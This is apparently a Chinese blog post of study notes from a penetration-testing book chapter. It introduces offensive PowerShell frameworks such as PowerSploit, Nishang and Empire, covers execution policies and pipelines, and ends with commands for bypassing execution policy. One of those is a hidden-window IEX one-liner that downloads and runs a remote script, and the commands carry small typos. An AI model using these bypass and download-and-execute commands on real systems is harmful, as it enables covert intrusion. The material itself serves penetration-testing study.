PowerShell简介 及 渗透工具

0X00 内容

  • 常见的PowerShell渗透工具
  • PowerShell简介

 

0X01 常见的PowerShell渗透工具

  • PowerSploit:这是众多PowerShell工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。
  • Nishang:基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。
  • Empire:基于PowerShell的远程控制工具,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块、信息探测、凭证窃取、持久化控制。
  • PowerCat:PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用。

 

0X02 PowerShell简介

1、PowerShell的优点:

  • Windows7以上的操作系统默认安装
  • PowerShell脚本可以运行在内存中,不需要写入磁盘
  • 可以从另一个系统中下载PowerShell脚本并执行
  • 目前很多工具都是基于PowerShell开发的
  • 很多安全软件并不能检测到PowerShell的活动
  • cmd.exe通常会被阻止运行,但是PowerShell不会
  • 可以用来管理活动目录

2、输入Get-Host$PSVersionTable.PSVERSION命令查看PowerShell版本

3、PowerShell的基本概念

  • PS1文件:一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的拓展名
  • 执行策略:为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设为受限
  • 在PowerShell脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行的执行策略
  1. Get-ExecutionPolicy
  2. Restricted:脚本不能运行(默认设置)
  3. RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)
  4. AllSigned:仅当脚本由受信任的发布者签名时才能运行
  5. Unrestricted:允许所有的脚本运行。

此时,执行ps1脚本是这样的

可以使用下面的cmdlet命令设置PowerShell的执行策略,需要管理员权限

Set-ExecutionPolicy <policy name>
  • 管道
  1. 管道的作用:是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接
  2. 如:停止所有当前运行的、以“P”字符开头命名的程序,命令如下
get-process P* | stop-process
  • 在PowerShell下,类似“cmd命令”叫作“cmdlet”,其命名规范相当一致,都采用“动词-名词”的形式。PowerShell命令不区分大小写
  • 在渗透时,可以采用以下方法来绕过策略来执行脚本
//绕过本地权限执行
PowerShell.exe -ExecutionPolicy Bypass -File XXX.ps1

//本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File XXX.ps1

//用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile  IEX(New-Object.WebClient).DownloadString("XXX.ps1");[Parameters]

根据《Web安全攻防——渗透测试实战指南》第6章整理  是该书的2018年7月第1版

发布了55 篇原创文章 · 获赞 1 · 访问量 2725

猜你喜欢

转载自blog.csdn.net/prettyX/article/details/103777039